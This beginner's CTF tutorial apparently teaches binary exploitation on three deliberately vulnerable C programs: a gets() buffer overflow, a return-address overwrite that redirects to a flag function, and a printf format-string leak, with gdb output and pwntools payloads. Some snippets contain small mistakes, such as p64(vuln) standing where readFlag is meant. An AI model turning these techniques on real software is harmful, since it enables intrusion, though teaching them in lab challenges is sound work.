Binary Exploitation
Table of Contents
Prerequisite
- [1] Gnu debugger: gdb (you can use pwndbg/gdb-peda/gef to get better view)
- [2] UNIX like operating system to run the ELF (binary file)
- [3] Decompiler to get better understanding of the binary file itself (Ghidra/Hopper/IDA)
- [4] pwntool module
Usually these are the method to solve Simple Binary Exploitation
- [1] Brute Force
- [2] Use gdb and Decompiler
- [3] Use pwn modules on python
Classic Buffer Overflow
given the problem in example1.c
void readFlag(){
char flag[32];
FILE *fptr;
fptr = fopen("flag.txt", "r");
fread(&flag, sizeof(char), 32, fptr);
puts(flag);
}
void vuln(){
char input[8];
char string[8] = "UwU";
printf("your input: ");
gets(input);
printf("string is: %s\n", string);
if(strcmp(string, ">w<") == 0){
puts("congrats! here's your flag");
readFlag();
}
else{
printf("not yet :(\nkeep trying!\n");
}
}
int main(){
setbuf(stdout, NULL);
puts("hi! change the string to >w< and you'll get your flag!");
vuln();
return 0;
}
If you look closely it has gets function, it didn't specify the buffer size so we can overflow it.
you can check the manual page of gets function with
man gets
The manual page says:
gets() reads a line from stdin into the buffer pointed to by s until either a terminating newline or EOF,
which it replaces with a null byte ('\0'). No check for buffer overrun is performed
if we run the binary with ./example1 we will get
hi! change the string to >w< and you'll get your flag!
your input:
you can try to brute force it by using pwn cyclic or pattern create in gef. for example:
pwn cyclic 16
aaaabaaacaaadaaa
it will create cyclic pattern that can determine spesific offset. if we input it to the system we will get
hi! change the string to >w< and you'll get your flag!
your input: aaaabaaacaaadaaa
string is: caaadaaa
not yet :(
keep trying!
if we examine carefully, we have overwritten the string[8] with our input. Because the size of input variable is 8 bytes, if we supply the gets with more than 8 character it will overflow. In this case it will overflowing string[8].
so the input has to be 8*randomcharacter + >w<. Lets just A for the padding. so the payload will be
AAAAAAAA>w<
supply the payload in the binary and we got the flag.
flag: CTF{buffer_overflo0o0o0ow}
Overwrite return address
given the problem in example2.c
void readFlag(){
char flag[32];
FILE *fptr;
fptr = fopen("flag.txt", "r");
fread(&flag, sizeof(char), 32, fptr);
puts(flag);
}
void vuln(){
char string[8] = "UwU";
char input[8];
printf("your input: ");
gets(input);
printf("string is: %s\n", string);
if(strcmp(string, ">w<") == 0){
puts("so what?");
}
else{
printf("not yet :(\nkeep trying!\n");
}
}
int main(){
setbuf(stdout, NULL);
puts("hi! change the string to >w< and we'll see what happens!");
vuln();
return 0;
}
if we look carefully there are readFlag function that read and also puts the flag. But int main function we didn't call readFlag at all, we only call vuln. So how to execute the readFlag function without having in the main function?
vuln function still use gets, meaning it didn't save, it pwnable so we can exploit that and overwrite the return addres of vuln function to readFlag function.
you can use decompiler or gdb to examine the function. lets use the default which is gdb and others default tools.
readelf -s ./example2
to display all functions
...
53: 0000000000000000 0 FUNC GLOBAL DEFAULT UND __libc_start_main@@GLIBC_
54: 0000000000601050 0 NOTYPE GLOBAL DEFAULT 23 __data_start
55: 0000000000000000 0 FUNC GLOBAL DEFAULT UND strcmp@@GLIBC_2.2.5
56: 0000000000000000 0 NOTYPE WEAK DEFAULT UND __gmon_start__
57: 0000000000601058 0 OBJECT GLOBAL HIDDEN 23 __dso_handle
58: 0000000000400860 4 OBJECT GLOBAL DEFAULT 15 _IO_stdin_used
59: 0000000000000000 0 FUNC GLOBAL DEFAULT UND gets@@GLIBC_2.2.5
60: 00000000004007e0 101 FUNC GLOBAL DEFAULT 13 __libc_csu_init
61: 0000000000601070 0 NOTYPE GLOBAL DEFAULT 24 _end
62: 0000000000400620 2 FUNC GLOBAL HIDDEN 13 _dl_relocate_static_pie
63: 00000000004005f0 43 FUNC GLOBAL DEFAULT 13 _start
64: 0000000000601060 0 NOTYPE GLOBAL DEFAULT 24 __bss_start
65: 00000000004007a0 53 FUNC GLOBAL DEFAULT 13 main
66: 00000000004006d7 75 FUNC GLOBAL DEFAULT 13 readFlag
67: 0000000000000000 0 FUNC GLOBAL DEFAULT UND fopen@@GLIBC_2.2.5
68: 0000000000601060 0 OBJECT GLOBAL HIDDEN 23 __TMC_END__
69: 0000000000400558 0 FUNC GLOBAL DEFAULT 11 _init
readFlag address: 00000000004006d7
We need to find insert breakpoint before and after we input to examine the stack
gdb ./example
to run the gdb
because our input in the vuln function we can disas vuln by using:
disas vuln
Dump of assembler code for function vuln:
0x0000000000400722 <+0>: push rbp
0x0000000000400723 <+1>: mov rbp,rsp
0x0000000000400726 <+4>: sub rsp,0x10
0x000000000040072a <+8>: mov QWORD PTR [rbp-0x8],0x557755
0x0000000000400732 <+16>: lea rdi,[rip+0x13a] # 0x400873
0x0000000000400739 <+23>: mov eax,0x0
0x000000000040073e <+28>: call 0x4005b0 <printf@plt>
0x0000000000400743 <+33>: lea rax,[rbp-0x10]
0x0000000000400747 <+37>: mov rdi,rax
0x000000000040074a <+40>: mov eax,0x0
0x000000000040074f <+45>: call 0x4005d0 <gets@plt>
0x0000000000400754 <+50>: lea rax,[rbp-0x8]
0x0000000000400758 <+54>: mov rsi,rax
0x000000000040075b <+57>: lea rdi,[rip+0x11e] # 0x400880
0x0000000000400762 <+64>: mov eax,0x0
0x0000000000400767 <+69>: call 0x4005b0 <printf@plt>
0x000000000040076c <+74>: lea rax,[rbp-0x8]
0x0000000000400770 <+78>: lea rsi,[rip+0x118] # 0x40088f
0x0000000000400777 <+85>: mov rdi,rax
0x000000000040077a <+88>: call 0x4005c0 <strcmp@plt>
0x000000000040077f <+93>: test eax,eax
0x0000000000400781 <+95>: jne 0x400791 <vuln+111>
0x0000000000400783 <+97>: lea rdi,[rip+0x109] # 0x400893
0x000000000040078a <+104>: call 0x400580 <puts@plt>
0x000000000040078f <+109>: jmp 0x40079d <vuln+123>
lets insert breakpoint at 0x000000000040074a and 0x0000000000400754
b*0x000000000040074a
Breakpoint 1 at 0x40074a
b*0x0000000000400754
Breakpoint 2 at 0x400754
hit r after we insert breakpoint to run the gdb
stack
0x00007fffffffdac0│+0x0000: 0x00000000004005f0 → <_start+0> xor ebp, ebp ← $rax, $rsp, $rdi
0x00007fffffffdac8│+0x0008: 0x0000000000557755 ("UwU"?)
0x00007fffffffdad0│+0x0010: 0x00007fffffffdae0 → 0x0000000000000000 ← $rbp
0x00007fffffffdad8│+0x0018: 0x00000000004007ce → <main+46> mov eax, 0x0
0x00007fffffffdae0│+0x0020: 0x0000000000000000
0x00007fffffffdae8│+0x0028: 0x00007ffff7deb0b3 → <__libc_start_main+243> mov edi, eax
0x00007fffffffdaf0│+0x0030: 0x00007ffff7ffc620 → 0x0005044800000000
0x00007fffffffdaf8│+0x0038: 0x00007fffffffdbd8 → 0x00007fffffffde18 → "/mnt/d/Coding/CTFs/CTFHaha/bof1/bof1"
registers
$rbp : 0x00007fffffffdad0 → 0x00007fffffffdae0 → 0x0000000000000000
$rsi : 0x00007fffffffb420 → "your input: "
$rdi : 0x00007fffffffdac0 → 0x00000000004005f0 → <_start+0> xor ebp, ebp
$rip : 0x000000000040074a → <vuln+40> mov eax, 0x0
if we look at the stack before input, the rip points to the return address of the vuln function. To run the readFlag function we must replace 0x000000000040074a by readFlag address.
so try to use the cyclic or pattern create in gef to find the offset (we know its 24 just to make sure)
pattern create 24
aaaabaaacaaadaaaeaaafaaa
lets supply to our input
stack
0x00007fffffffdac0│+0x0000: "aaaabaaacaaadaaaeaaafaaa" ← $rax, $rsp, $r8
0x00007fffffffdac8│+0x0008: "caaadaaaeaaafaaa"
0x00007fffffffdad0│+0x0010: "eaaafaaa" ← $rbp
0x00007fffffffdad8│+0x0018: 0x0000000000400700 → <readFlag+41> sar DWORD PTR [rdx+0x20], 1
0x00007fffffffdae0│+0x0020: 0x0000000000000000
0x00007fffffffdae8│+0x0028: 0x00007ffff7deb0b3 → <__libc_start_main+243> mov edi, eax
0x00007fffffffdaf0│+0x0030: 0x00007ffff7ffc620 → 0x0005044800000000
0x00007fffffffdaf8│+0x0038: 0x00007fffffffdbd8 → 0x00007fffffffde18 → "/mnt/d/Coding/CTFs/CTFHaha/bof1/bof1"
before input $rip : 0x40074a now $rip : 0x400700 we have successfully change from 4a to 00 (because if we input 24 character the 25 character will be nullbytes which is \x00)
So arrange the payload with padding 24 character and the readFlag address (remember we must change it to little endian first)
to change to little endian form you can use pwntool
>>> import pwn
>>> pwn.p64(0x00000000004006d7)
b'\xd7\x06@\x00\x00\x00\x00\x00'
our payload is nonprintable character so how can we arrange it?
you can use either
python -c "print('A'*24 + '\xd7\x06@\x00\x00\x00\x00\x00')" | ./example1
or
offeset = 24
readFlag = 0x00000000004006d7
payload = b'A' * offeset
payload += p64(vuln)
use
p.sendline(payload)
p.interactive()
to send the payload and enter interactive mode and youll get the flag.
flag CTF{ch4ng3_th3_progr4m_fl0o0w}
Fstring
given the problem in example3.c (fstr0)
// gcc fstr0.c -o fstr0
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
void readFlag(char* flag) {
FILE *fptr;
fptr = fopen("flag.txt", "r");
fread(flag, sizeof(char), 32, fptr);
}
void vuln() {
char flag[32];
char name[256];
readFlag(flag);
puts("what's your name?");
fgets(name, 256, stdin);
printf("hello, ");
printf(name);
}
int main() {
setbuf(stdout, NULL);
puts("hi, welcome to fstring!");
vuln();
return 0;
}
As we can see the input is sanitized by using fgets, it only accept 256 character so we cannot buffer offervlow it. But if we look more closely, at the last line of vuln function there is printf(name);. F in printf stands for formatting. It can format our variabel with our desired format.
for example:
printf("%d %d %d %d %d", 1, 2, 3, 4, 5);
will output: 1 2 3 4 5
we can also specify our desired format with %n$d for example:
printf("%2$d %1$d %3$d %5$d %4$d", 1, 2, 3, 4, 5);
will output : 2 1 3 5 4
See the difference? So how can we exploit the formatting string. if we didn't specify any formatting in printf we can exploit it by using the format string itself. wait whattt? how?
because the printf didn't specify any formatting we can use for example: %x to print hexadecimal number but what hexadecimal would the printf print? becuase we input %x, the printf think that it needs hexadecimal number and it will grab one from the stack itself. if we put %x %x %x %x %x it will grab 5 hexadecimal from the stack because we didn't give the printf function to print to.
if we run the binary it will ask for input and if we use %p %p %p %p %p
hi, welcome to fstring!
what's your name?
%x %x %x %x %x
hello, 0x7ffc01c289e0 0x7fdebadae8c0 (nil) 0x7 (nil)
as you can see it will output random value from the stack. if we look carefully the readFlag function is inside the vuln function itself so the flag must be in the stack, so we just need to find where the flag is. We can use %x or %p or even %ld
hi, welcome to fstring!
what's your name?
%p %p %p %p %p %p %p %p %p %p
hello, 0x7fff91459780 0x7fb7ed9758c0 (nil) 0x7 (nil) 0x5f6573757b465443 0x635f66746e697270 0x796c6c7566657261 0x7f7d7a6c705f 0x7025207025207025
run the function again 1 more time
hi, welcome to fstring!
what's your name?
%p %p %p %p %p %p %p %p %p %p
hello, 0x7ffc069220b0 0x7f9093e858c0 (nil) 0x7 (nil) 0x5f6573757b465443 0x635f66746e697270 0x796c6c7566657261 0x7f7d7a6c705f 0x7025207025207025
as you can see the first and second output is different. This happen because the aslr is active. ASLR stands for Address Space Layout Randomization or we can use checksec to check it
checksec example2
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
PIE (Positition Independent Executable) we can see the same as ASLR so it will make our function have offset so it will behave differently everytime. But as you can see the 6th address is the same, so maybe this is the flag?
convert this to ascii 0x5f6573757b465443 0x635f66746e697270 0x796c6c7566657261 0x7f7d7a6c705f using python we get 0x70252070252070255
it will give _esu{FTCc_ftnirpyllufera}zlp_p% p% p%
it looks like the flag but reverse, remember our machine use little endian so we must reverse the byte itself to get the correct flag. After we reverse it we get the flag
flag = "0x5f6573757b465443-0x635f66746e697270-0x796c6c7566657261-0x7f7d7a6c705f"
arrflag = flag.split("-")
ans = b''
for item in arrflag:
ans += p64(int(item, 16))
print(ans.decode())
and we get our desired flag
flag: CTF{use_printf_carefully_plz}